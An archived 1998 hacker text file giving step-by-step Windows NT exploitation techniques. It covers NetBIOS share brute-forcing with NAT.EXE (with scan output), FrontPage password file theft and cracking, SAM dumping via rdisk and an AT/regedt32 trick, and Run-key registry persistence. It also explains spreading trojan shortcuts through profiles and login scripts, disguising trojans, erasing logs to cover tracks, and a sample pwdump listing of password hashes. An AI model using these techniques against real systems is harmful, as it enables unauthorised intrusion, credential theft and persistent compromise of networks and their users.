TUCoPS :: Windows :: ntdecons.txt

Windows NT Deconstruction Techniques

Windows NT Deconsctruction Tatics
Step by Step NT Explotation Techniques
by vacuum of Rhino9 & Technotronic
vacuum@technotronic.com

This text is for educational use only. You will not find a point and click NT hacking tool. 
This text was written to explain some of the malicious uses of some of the utilities included
within Windows NT. Finding system vulnerabilities is becoming a lost art. Todays young hackers
want a program that will preform all of the tasks for them, while this is not necessarily a bad thing, it does tend to supress individual ideas which could lead to new exploits.

Revision 4 03/16/98
I apologize for so many revisions in such a short time. This document is a work in progress.

Changes in Revision 4:
Included Frontpage information.
NetBIOS information fully discussed.
rdisk /s information.
Made this .zip more like a unix rootkit by included all the mentioned tools.
Cleaned up the overall layout.


I. Initial Access Strategy
    1.)NetBIOS Shares Using Microsoft Executables
      a. NET.EXE 's other uses
    2.)NAT The NetBIOS Auditing Tool
II.FrontPage Exploitation
    1.)FrontPage password decryption on unix servers with frontpage extensions.
III. Registry Vulnerabilities
    1.) rdisk /s to dump the SAM (Security Account Manager)
    2.) gaining access to the regisry with the AT.EXE command (local)
    3.) REGEDT32.EXE and REGEDIT.EXE
    4.) REGINI.EXE and REGDMP.EXE remote registry editing tools
    5.) Using the Registry to Execute Malicious Code
IV. Trojan .lnk (shortcuts)
    1.)Security hole within winnt\profiles and login scripts
V.  Workarounds for common sytsem policy restrictions
VI. PWDUMP Example

Included Files:
NTExploits.txt this document
samproof.txt   example of the sam hive from the registry
notepad.reg    Example .reg file that starts up notepad.exe upon login. Could be any executable.
service.pwd    Service.pwd frontpage password example.


NetBIOS Shares Using the standard Microsoft Executables
C:\>NBTSTAT -A 123.123.123.123
C:\>NBTSTAT -a www.target.com

       NetBIOS Remote Machine Name Table

   Name               Type         Status
---------------------------------------------
STUDENT1       <20>  UNIQUE      Registered
STUDENT1       <00>  UNIQUE      Registered
DOMAIN1        <00>  GROUP       Registered
DOMAIN1        <1C>  GROUP       Registered
DOMAIN1        <1B>  UNIQUE      Registered
STUDENT1       <03>  UNIQUE      Registered
DOMAIN1        <1E>  GROUP       Registered
DOMAIN1        <1D>  UNIQUE      Registered
..__MSBROWSE__.<01>  GROUP       Registered

MAC Address = 00-C0-4F-C4-8C-9D


After a NetBIOS share is found, it can be added to the LMHOSTS file. 

Computername <03> UNIQUE Registered by the messenger service. This is the computername
                         to be added to the LMHOSTS file which is not necessary to use
                         NAT.EXE but is necessary if you would like to view the remote
                         computer in Network Neighborhood.

Example of LHOSTS file:
123.123.123.123  student1
24.3.9.12        target2

Now you can use the find computer options within NT or 95 to browse the shares.
An alternative option would be to use the very powerful NET.EXE


C:\>net view 123.123.123.123
C:\>net view \\student1

Shared resources at 123.123.123.123


Share name   Type         Used as  Comment

------------------------------------------------------------------------------
NETLOGON     Disk                  Logon server share
Test         Disk
The command completed successfully.

NOTE: The C$ ADMIN$ and IPC$ shares are hidden and are not shown.

C:\net use x: \\123.123.123.123\test
The command completed successfully.

Now the command prompt or the NT Explorer can be used to access the remote drive X:

C:\net use
New connections will be remembered.


Status       Local     Remote                    Network

-------------------------------------------------------------------------------
OK           X:        \\123.123.123.123\test      Microsoft Windows Network
OK                     \\123.123.123.123\test      Microsoft Windows Network
The command completed successfully.

Here are some other interesting things that NET.EXE can be used for that are not related to NetBIOS.
NET localgroup <enter> will show which groups have been created on the local machine.

NET name <enter> will show you the name of the computer as well as who is logged in.

NET accounts <enter> will show the password restrictions for the user.

NET share <enter> displays the shares for the local machine including the $ shares which are supposed to be hidden heheh??

NET user <enter> will show you which accounts are created on the local machine. This can be useful when adding user names to NAT The NetBIOS Auditing Tool to brute force the shares
show using NET share.

NET start SERVICE. For Example, net start schedule This will start the schedule service which can be used to access the complete registry on a local machine.  

NAT (NetBIOS Auditing Tool)
This technique works the the default share type everyone full control. If you are denied access,
permissions have been applied to the share, and a password will be required.

NAT.EXE (NetBIOS Auditing Tool)
NAT.EXE [-o filename] [-u userlist] [-p passlist] <address>

OPTIONS
       -o     Specify the output file.  All results from the scan
              will  be written to the specified file, in addition
              to standard output.
       -u     Specify the file to read usernames from.  Usernames
              will  be read from the specified file when attempt-
              ing to guess the password  on  the  remote  server.
              Usernames  should appear one per line in the speci-
              fied file.
       -p     Specify the file to read passwords from.  Passwords
              will  be read from the specified file when attempt-
              ing to guess the password  on  the  remote  server.
              Passwords  should appear one per line in the speci-
              fied file.
       <address>
              Addresses should be specified in comma  deliminated
              format,  with  no spaces.  Valid address specifica-
              tions include:
              hostname - "hostname" is added
              127.0.0.1-127.0.0.3,   adds   addresses   127.0.0.1
              through 127.0.0.3
              127.0.0.1-3,   adds   addresses  127.0.0.1  through
              127.0.0.3
              127.0.0.1-3,7,10-20,   adds   addresses   127.0.0.1
              through  127.0.0.3,  127.0.0.7,  127.0.0.10 through
              127.0.0.20.
              hostname,127.0.0.1-3, adds "hostname" and 127.0.0.1
              through 127.0.0.1
              All combinations of hostnames and address ranges as
              specified above are valid.


NAT.EXE does all of the above techniques plus it will try Administrative shares ($), scan a range of IP addresses and use a dictionary file to crack the NetBIOS passwords. NAT.EXE is the
tool prefered by most hackers.

C:\nat -o vacuum.txt -u userlist.txt -p passlist.txt 204.73.131.10-204.73.131.30


[*]--- Reading usernames from userlist.txt
[*]--- Reading passwords from passlist.txt

[*]--- Checking host: 204.73.131.11
[*]--- Obtaining list of remote NetBIOS names

[*]--- Attempting to connect with name: *
[*]--- Unable to connect

[*]--- Attempting to connect with name: *SMBSERVER
[*]--- CONNECTED with name: *SMBSERVER
[*]--- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03
[*]--- Server time is Mon Dec 01 07:44:34 1997
[*]--- Timezone is UTC-6.0
[*]--- Remote server wants us to encrypt, telling it not to

[*]--- Attempting to connect with name: *SMBSERVER
[*]--- CONNECTED with name: *SMBSERVER
[*]--- Attempting to establish session
[*]--- Was not able to establish session with no password
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `password'
[*]--- CONNECTED: Username: `ADMINISTRATOR' Password: `password'

[*]--- Obtained server information:

Server=[STUDENT1] User=[] Workgroup=[DOMAIN1] Domain=[]

[*]--- Obtained listing of shares:

	Sharename      Type      Comment
	---------      ----      -------
	ADMIN$         Disk:     Remote Admin
	C$             Disk:     Default share
	IPC$           IPC:      Remote IPC
	NETLOGON       Disk:     Logon server share 
	Test           Disk:     

[*]--- This machine has a browse list:

	Server               Comment
	---------            -------
	STUDENT1             


[*]--- Attempting to access share: \\*SMBSERVER\
[*]--- Unable to access

[*]--- Attempting to access share: \\*SMBSERVER\ADMIN$
[*]--- WARNING: Able to access share: \\*SMBSERVER\ADMIN$
[*]--- Checking write access in: \\*SMBSERVER\ADMIN$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\ADMIN$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\ADMIN$

[*]--- Attempting to access share: \\*SMBSERVER\C$
[*]--- WARNING: Able to access share: \\*SMBSERVER\C$
[*]--- Checking write access in: \\*SMBSERVER\C$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\C$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\C$

[*]--- Attempting to access share: \\*SMBSERVER\NETLOGON
[*]--- WARNING: Able to access share: \\*SMBSERVER\NETLOGON
[*]--- Checking write access in: \\*SMBSERVER\NETLOGON
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\NETLOGON

[*]--- Attempting to access share: \\*SMBSERVER\Test
[*]--- WARNING: Able to access share: \\*SMBSERVER\Test
[*]--- Checking write access in: \\*SMBSERVER\Test
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\Test

[*]--- Attempting to access share: \\*SMBSERVER\D$
[*]--- Unable to access

[*]--- Attempting to access share: \\*SMBSERVER\ROOT
[*]--- Unable to access

[*]--- Attempting to access share: \\*SMBSERVER\WINNT$
[*]--- Unable to access

If Default share of Everyone/Full Control. Done it is hacked.

FrontPage Exploitation:
Most frontpage exploits compromise only the wwwroot directory and can be used to change the
html of a site which has become a popular method of gaining fame in the hacker community. 

The following is a list of the Internet Information server files location
in relation to the local hard drive (C:) and the web (www.target.com)

C:\InetPub\wwwroot                               <Home>
C:\InetPub\scripts                               /Scripts
C:\InetPub\wwwroot\_vti_bin                      /_vti_bin
C:\InetPub\wwwroot\_vti_bin\_vti_adm             /_vti_bin/_vti_adm
C:\InetPub\wwwroot\_vti_bin\_vti_aut             /_vti_bin/_vti_aut
C:\InetPub\cgi-bin                               /cgi-bin
C:\InetPub\wwwroot\srchadm                       /srchadm
C:\WINNT\System32\inetserv\iisadmin              /iisadmin
C:\InetPub\wwwroot\_vti_pvt               
C:\InetPub\wwwroot\samples\Search\QUERYHIT.HTM   Internet Information Index Server sample
C:\Program Files\Microsoft FrontPage\_vti_bin
C:\Program Files\Microsoft FrontPage\_vti_bin\_vti_aut
C:\Program Files\Microsoft FrontPage\_vti_bin\_vti_adm
C:\WINNT\System32\inetserv\iisadmin\htmldocs\admin.htm  /iisadmin/isadmin

Using FrontPage, a hacker may alter the html of a remote website often frontpage webs
are left un-passworded.

On the FrontPage Explorer's File menu, choose Open FrontPage Web.
In the Getting Started dialog box, select Open an Existing FrontPage
Web and choose the FrontPage web you want to open.
Click More Webs if the web you want to open is not listed.
Click OK.
If you are prompted for your author name and password, you will have
to decrypt service.pwd, guess or move on.
Enter them in the Name and Password Required dialog box, and click OK.
Alter the existing page, or upload a page of your own.

Scanning PORT 80 (http) or 443 (https) options:

GET /_vti_inf.html                 #Ensures that frontpage server extensions
                                    are installed. 
GET /_vti_pvt/service.pwd          #Contains the encrypted password files.
                                    Not used on IIS and WebSite servers
GET /_vti_pvt/authors.pwd          #On Netscape servers only. Encrypted
                                    names and passwords of authors.
GET /_vti_pvt/administrators.pwd
GET /_vti_log/author.log           #If author.log is there it will need to
                                    be cleaned to cover your tracks

GET /samples/search/queryhit.htm   

Other ways of obtaining service.pwdhttp://ftpsearch.com/index.html
search for service.pwdhttp://www.alstavista.digital.com
advanced search for link:"/_vti_pvt/service.pwd"
Attempt to connect to the server using FTP.
port 21 
login anonymous
password guest@unknown
the anonymous login will use the internally created IISUSR_computername
account to assign NT permissions.
An incorrect configuration may leave areas vulnerable to attack.

If service.pwd is obtained it will look similar to this:
Vacuum:SGXJVl6OJ9zkE

The above password is apple
Turn it into DES format:

Vacuum:SGXJVl6OJ9zkE:10:200:Vacuum:/users/Vacuum:/bin/bash

The run your favorite unix password cracker like john.exe (John The Ripper) against a large dictionary file or ntucrack.exe which will brute force crack the password.

Registry Vulnerabilities:
RDISK
rdisk /s will dump the security and sam portions of the registry into c:\winnt\repair directory.
It will also give you the option of creating an emergency repair diskette. This .zip includes SAMDUMP.EXE which can be used to extract passwords from emergency repair diskettes.
Within that directory there will be a sam._ file. It is ethically used for the emergency repair disk. If you have gained access to the local drive through physical access or through netbios shares, run rdisk /s There is a utility called SAMDUP included within this .zip that will extract the passwords.

GAINING ACCESS TO THE ENTIRE REGISTRY (Local)
For this to work, you will need to start the schedule service.
By default, this service is set to Manaul. Click Start/Settings/Control Panel/Services/ Then highlight Schedule Click Start (To start the service immediately. This will only be done once) Click Startup (To change the service to automatic to be started each time) 

NOTES about AT.EXE usage:

AT [\\computername] [ [id] [/DELETE] | /DELETE [/YES]]
AT [\\computername] time [/INTERACTIVE]
    [ /EVERY:date[,...] | /NEXT:date[,...]] "command"

\\computername     Specifies a remote computer. Commands are scheduled on the
                   local computer if this parameter is omitted.
id                 Is an identification number assigned to a scheduled
                   command.
/delete            Cancels a scheduled command. If id is omitted, all the
                   scheduled commands on the computer are canceled.
/yes               Used with cancel all jobs command when no further
                   confirmation is desired.
time               Specifies the time when command is to run.
/interactive       Allows the job to interact with the desktop of the user
                   who is logged on at the time the job runs.
/every:date[,...]  Runs the command on each specified day(s) of the week or
                   month. If date is omitted, the current day of the month
                   is assumed.
/next:date[,...]   Runs the specified command on the next occurrence of the
                   day (for example, next Thursday).  If date is omitted, the
                   current day of the month is assumed.
"command"          Is the Windows NT command, or batch program to be run.

From a Command Prompt type:

at <time> /interactive "regedt32.exe"

If sussessful, you will recive a message similar to the following:
Added a new job with job ID = 0

If you receive the following error:
The service has not been started.

samproof.txt example showing the SAM can be opened

Where, <time> gets replaced with the current time plus about a minute to take care of your command typing time. At <time>, regedt32.exe will appear on your desktop. This execution of regedt32.exe will be running in the system's security context. As such, it will allow you access to the entire registry, including SAM and SECURITY hives. Note that this will not work against a remote registry; you will need to do this locally on the system you want to modify registry.

Basic remote registry access that does not include the sam and security hives:
Windows NT supports accessing a remote registry via the Registry Editor and also through the RegConnectRegistry() Win32 API call. The security on the following registry key dictates which users/groups can access the registry remotely: 

   HKEY_LOCAL_MACHINE\
    SYSTEM\
    CurrentControlSet\
    Control\
    SecurePipeServers\
    Winreg

If this key does not exist, remote access is not restricted, and only the underlying security on the individual keys control access. In a default Windows NT workstation installation, this key does not exist. In a default Windows NT server installation, this key exists and grants administrators full control for remote registry operations, in addition to granting Everyone Create Subkey and Set Value access (special access). 

REGEDT32.EXE
To access the registry of a REMOTE NT computer you must have ADMINISTRATOR RIGHTS.
NAT.EXE (covered in the NetBIOS Section) has often lead to compromised administrator
passwords. Administrators should turn off all shares, including C$

To modify the Registry on a remote computer
Start Regedt32
1 On the File menu, click Connect.
2 Type the name of the remote computer.
3 In the Users on Remote Computer dialog box, click the user that is interactively logged on, and then click OK. Typically, there is only one user logged on.
4 Double-click Local User to change HKEY_CURRENT_USER Registry settings.
5 Double-click Local Computer to change HKEY_LOCAL_MACHINE Registry settings.
6 On the File menu, click Save.
7 On the File menu, click Disconnect.

Notes:

You can access the Registry only on computers for which you have administrative permission. The computer can be running any version of Windows NT Workstation or Windows NT Server. You can only access two predefined keys (HKEY_USERS and HKEY_LOCAL_MACHINE) of a remote computer registry.

REGINI is a tool that can be used from the command line to manipulate (in our case write to) the registry on a REMOTE machine. A very closely related tool, REGDMP.EXE works very closely with the REGINI tool and can be used to "dump" the contents of the registry on a remote machine to a file for your browsing. It should be noted that the entire contents of the registry (The Security & SAM hives) will NOT be dumped as they were with the 

at <time> /interactive "regedt32.exe" 

technique mentioned above.

REGINI.EXE
usage: REGINI [-h hivefile hiveroot | -w Win95 Directory | -m \\machinename]
              [-i n] [-o outputWidth]
              [-c] codepage
              [-b] textFiles...

where: -h specifies a specify local hive to manipulate.
       -w specifies the paths to a Windows 95 system.dat and user.dat files
       -m specifies a remote Windows NT machine whose registry is to be manipulated.
       -i n specifies the display indentation multiple.  Default is 4
       -o outputWidth specifies how wide the output is to be.

By default the outputWidth is set to the width of the console window if standard
output has not been redirected to a file.  In the latter case, an outputWidth of 240 is used.


-c specifies codepage of textFiles, if they are ANSI textFiles.

-b specifies that REGINI should be backward compatible with older
    versions of REGINI that did not strictly enforce line continuations
    and quoted strings Specifically, REG_BINARY, REG_RESOURCE_LIST and
    REG_RESOURCE_REQUIREMENTS_LIST data types did not need line
    continuations after the first number that gave the size of the data.
    It just kept looking on following lines until it found enough data
    values to equal the data length or hit invalid input.  Quoted
    strings were only allowed in REG_MULTI_SZ.  They could not be
    specified around key or value names, or around values for REG_SZ or
    REG_EXPAND_SZ Finally, the old REGINI did not support the semicolon
    as an end of line comment character.

textFiles is one or more ANSI or Unicode text files with registry data.

 The easiest way to understand the format of the input textFile is to use
 the REGDMP command with no arguments to dump the current contents of
 your NT Registry to standard out.  Redirect standard out to a file and
 this file is acceptable as input to REGINI

 Some general rules are:
     Semicolon character is an end-of-line comment character, provided it
     is the first non-blank character on a line

     Backslash character is a line continuation character.  All
     characters from the backslash up to but not including the first
     non-blank character of the next line are ignored.  If there is more
     than one space before the line continuation character, it is
     replaced by a single space.

     Indentation is used to indicate the tree structure of registry keys
     The REGDMP program uses indentation in multiples of 4.  You may use
     hard tab characters for indentation, but embedded hard tab

 than one space before the line continuation character, it is
 replaced by a single space.

 Indentation is used to indicate the tree structure of registry keys
 The REGDMP program uses indentation in multiples of 4.  You may use
 hard tab characters for indentation, but embedded hard tab
 characters are converted to a single space regardless of their
 position

 For key names, leading and trailing space characters are ignored and
 not included in the key name, unless the key name is surrounded by
 quotes.  Imbedded spaces are part of a key name.

 Key names can be followed by an Access Control List (ACL) which is a
 series of decimal numbers, separated by spaces, bracketed by a
 square brackets (e.g.  [8 4 17]).  The valid numbers and their
 meanings are:

 1  - Administrators Full Access
 2  - Administrators Read Access
 3  - Administrators Read and Write Access
 4  - Administrators Read, Write and Delete Access
 5  - Creator Full Access
 6  - Creator Read and Write Access
 7  - World Full Access
 8  - World Read Access
 9  - World Read and Write Access
 10 - World Read, Write and Delete Access
 11 - Power Users Full Access
 12 - Power Users Read and Write Access
 13 - Power Users Read, Write and Delete Access
 14 - System Operators Full Access
 15 - System Operators Read and Write Access
 16 - System Operators Read, Write and Delete Access
 17 - System Full Access
 18 - System Read and Write Access
 19 - System Read Access
 20 - Administrators Read, Write and Execute Access
 21 - Interactive User Full Access
 22 - Interactive User Read and Write Access
 23 - Interactive User Read, Write and Delete Access


     If there is an equal sign on the same line as a left square bracket
     then the equal sign takes precedence, and the line is treated as a
     registry value.  If the text between the square brackets is the
     string DELETE with no spaces, then REGINI will delete the key and
     any values and keys under it.

     For registry values, the syntax is:

        value Name = type data

     
 Leading spaces, spaces on either side of the equal sign and spaces
 between the type keyword and data are ignored, unless the value name
 is surrounded by quotes.

 The value name may be left off or be specified by an at-sign
 character which is the same thing, namely the empty value name.  So
 the following two lines are identical:

    = type data
    @ = type data

 This syntax means that you can't create a value with leading or or
 trailing spaces, an equal sign or an at-sign in the value name,
 unless you put the name in quotes.

 Valid value types and format of data that follows are:

 REG_SZ text
 REG_EXPAND_SZ text
 REG_MULTI_SZ "string1" "string2" ...
 REG_DATE mm/dd/yyyy HH:MM DayOfWeek
 REG_DWORD numberDWORD
 REG_BINARY numberOfBytes numberDWORD(s)...
 REG_NONE (same format as REG_BINARY)
 REG_RESOURCE_LIST (same format as REG_BINARY)
 REG_RESOURCE_REQUIREMENTS (same format as REG_BINARY)
 REG_RESOURCE_REQUIREMENTS_LIST (same format as REG_BINARY)
 REG_FULL_RESOURCE_DESCRIPTOR (same format as REG_BINARY)
 REG_MULTISZ_FILE fileName
 REG_BINARYFILE fileName


   If no value type is specified, default is REG_SZ

   For REG_SZ and REG_EXPAND_SZ, if you want leading or trailing spaces
   in the value text, surround the text with quotes.  The value text
   can contain any number of imbedded quotes, and REGINI will ignore
   them, as it only looks at the first and last character for quote
   characters.

   For REG_BINARY, the value data consists of one or more numbers The
   default base for numbers is decimal.  Hexidecimal may be specified
   by using 0x prefix.  The first number is the number of data bytes,
   excluding the first number.  After the first number must come enough
   numbers to fill the value.  Each number represents one DWORD or 4
   bytes.  So if the first number was 0x5 you would need two more
   numbers after that to fill the 5 bytes.  The high high order 3 bytes
   of the second DWORD would be ignored.





REGDMP.EXE 

usage: REGDMP [-m \\machinename | -h hivefile hiveroot | -w Win95 Directory]
              [-i n] [-o outputWidth]
              [-s] [-o outputWidth] registryPath

where: -m specifies a remote Windows NT machine whose registry is to be manipula
ted.
       -h specifies a specify local hive to manipulate.
       -w specifies the paths to a Windows 95 system.dat and user.dat files
       -i n specifies the display indentation multiple.  Default is 4
       -o outputWidth specifies how wide the output is to be.  By default the
          outputWidth is set to the width of the console window if standard
          output has not been redirected to a file.  In the latter case, an
          outputWidth of 240 is used.
       -s specifies summary output.  Value names, type and first line of data

  registryPath specifies where to start dumping.

  If REGDMP detects any REG_SZ or REG_EXPAND_SZ that is missing the
  trailing null character, it will prefix the value string with the
  following text: (*** MISSING TRAILING NULL CHARACTER ***)
  The REGFIND tool can be used to clean these up, as this is a common
  programming error.

 Whenever specifying a registry path, either on the command line
 or in an input file, the following prefix strings can be used:

      HKEY_LOCAL_MACHINE
      HKEY_USERS
      HKEY_CURRENT_USER
      USER:

    Each of these strings can stand alone as the key name or be followed
    a backslash and a subkey path.


RedButton exploits a flaw allowing the creation of a new entry in the registry which describes a new drive share with access granted to Everyone. After reboot the new share is published on the network to Everyone. By sharing system drive one can obtain a copy of a password file updated by rdisk -s from the %SYSTEMROOT%\Repair directory among other things. Please visit www.ntsecurity.com for further information as this program relates directly to the registry and NetBIOS share topic covered in this paper.

Using the Registry to Execute Malicious Code

Note: Regedit.exe lets you export keys to .reg files which can also be very handy.

.REG files are used to directly change registry keys. The contents of a .reg file
are similar to the contents of the textfile used with REGINI.EXE

Example (included as notepad.reg) will launch notepad.exe on startup. This of course
could be any executable.

-- cut here --
REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Rhino9"="notepad.exe"

-- cut here --

Trojan Building:

This is the properties of a evil .lnk (Shortcut) file.
This technique uses the same strategy as the Internet Explorer 3.0 bug.
You will NOT find an example of a working trojan here. There are plenty
of malicious executables available elsewhere on the internet. Keyloggers,
sniffers, pwdump.exe, getadmin.exe are a few examples. This document is
meant to increase trojan awareness, not provide step-by-step instructions 
for novice hackers.

To execute a .exe, .com, .bat, or .cmd
C:\WINDOWS\COMMAND\START.EXE /m command.com /c trojan.bat

To add an entry to the registry
C:\WINDOWS\COMMAND\START.EXE /m command.com /c trojan.reg

Where trojan.reg looks similar to the example notepad.reg shown above.
This evil shortcut can be propagated throughout NT domains through Profiles. Use START.EXE to cause a wide variety of commands / executables to be launched.

START ["title"] [/Dpath] [/I] [/MIN] [/MAX] [/SEPARATE | /SHARED]
      [/LOW | /NORMAL | /HIGH | /REALTIME] [/WAIT] [/B] [command/program] [parameters]

    "title"     Title to display in  window title bar.
    path        Starting directory
    I           The new environment will be the original environment passed
                to the cmd.exe and not the current environment.
    MIN         Start window minimized
    MAX         Start window maximized
    SEPARATE    Start 16-bit Windows program in separate memory space
    SHARED      Start 16-bit Windows program in shared memory space
    LOW         Start application in the IDLE priority class
    NORMAL      Start application in the NORMAL priority class
    HIGH        Start application in the HIGH priority class
    REALTIME    Start application in the REALTIME priority class
    WAIT        Start application and wait for it to terminate
    B           Start application without creating a new window. The
                application has ^C handling ignored. Unless the application
                enables ^C processing, ^Break is the only way to interrupt the
                application

NOTE: /m is used to minimize the window another available option is /wait which will cause the program to wait until the other program exits /B starts application without creating new window. Play with these switches to get desired effect.

Starts a separate window to run a specified program or command.
start.exe and at.exe can be used in combination if the scheduler service is started.

Security hole within winnt\profiles and login scripts

Using the trojan building information above, trojans can be deseminated by strategically placing .lnk shortcuts or modifying the login script.
 
A malicious executable file can be planted in:
C:\WINNT\Profiles\Default User\Start Menu\Programs\Startup
Any user logging in to the machine for the first time would inherit your malicious shortcuts.
or
C:\WINNT\Profiles\userid of exiting user\Start Menu\Programs\Startup
would cause existing users to launch your malicious shortcuts on startup.

If roaming profiles are turned on, your malicious shortcut would follow the user as they logged on from machine to machine. If you install these .lnk files on the primary domain controller in the winnt\profiles\userid directory they would also pass themselves down to
the workstation when the user logged in. If you are unable to install your trojan in a roaming profile environment or the Primary Domain Controller the trojan would not spread unless placed into the login script. 

C:\WINNT\SYSTEM32\REPL\IMPORT\SCRIPTS
Is the location that login scripts (.CMD) files are stored. Malicious code can be inserted into a new or existing login script. All users loging on to the machine would execute this code.

Here are the default NTFS permissions:
C:\WINNT\PROFILES and C:\WINNT\SYSTEM32\REPL\IMPORT\SCRIPTS

Administrators   Full Control
Everyone         Read
System           Full Control

FAT Partitions have no file level security. New users logging into the system would automatically execute this program everytime they login. If this is done on NT Workstation the attack will only spread to new users logging into the workstation locally. If this attack is performed on a NT domain controller it would spread throughout the domain profiles.

Hiding Detection
Replace an existing startup program with trojan. Rename your trojan so that it is not suspicious. Change the properties of the trojan's icon to look like the replaced icon. An antivirus program would be a great choice, you could even launch the real, renamed application after your trojan is loaded.

Workarounds for common sytsem policy restrictions:

System Policies are implemented to restrict the user from performing certain tasks.

Installing Printers:
If you do not have access to the printers folder from the Start/Settings/Printers or from the My Computer Icon.Click Network Neighborhood. Double-Click on your computername. The printers folder will be available. Open the folder and Double Click on the Add-Printer Icon to start the Printer Installation Wizard.

Control Panel Restrictions:
If you do not have access to the Control Panel from Start/Settings/Control Panel or from the My Computer Icon.Click Start/Help/Index (If you do not have help, you can open it using Explorer or My Computer. Double-click on C:\winnt\System32\control.hlpSearch for Control Panel
All of the normally displayed icons appear as help topics. 
If you click on "Network" for example a Windows NT Help Screen appears with a nice little shortcut to the Control Panel Network Settings. Printers can also be installed using this method as well as the method mentioned above. Network options can also be accessed by right clicking on Network Neighborhood and then selecting properties.

Missing Command Prompt:
Start NT Explorer change tgo c:\winnt\system32 Double click on COMMAND.COM a command prompt will start. This is also well known, but included for thoroughness. Find Command is gone from Start/Find or from within NT Explorer: To find a computer:If you have a command prompt:
Net View <Enter> is like Network Neighborhood Net View \\COMPUTERName is like Double Clicking on a computer within network neighborhood
Net use x: \\Computername\Sharename maps a drive letter to the share.
Finding a file is simple:dir filename.ext /sRun Command Missing:
This is rather obvious but I will include it as it is a valid system policy restriction. Navigate your Hard Disk using My Computer, winfile or NT Explorer. Double-click on the program you wish to run. Duh!
System Policies that I have NOT found a workaround for yet: If your display settings are restricted in control panel. If registry editing has been disabled.

PWDUMP.EXE
NOTE: This is the pwdump from the webserver the Lan Manager password is set to "password".

Administrator:500:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C:Built-in account for administering the computer/domain::
Guest:501:NO PASSWORD*********************:NO PASSWORD*********************:Built-in account for guest access to the computer/domain::
STUDENT7$:1000:E318576ED428A1DEF4B21403EFDE40D0:1394CDD8783E60378EFEE40503127253:::
ketan:1005:********************************:********************************:::
mari:1006:********************************:********************************:::
meng:1007:********************************:********************************:::
IUSR_STUDENT7:1014:582E6943331763A63BEC2B852B24C4D5:CBE9D641E74390AD9C1D0A962CE8C24B:Internet Guest Account,Internet Server Anonymous Access::





TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH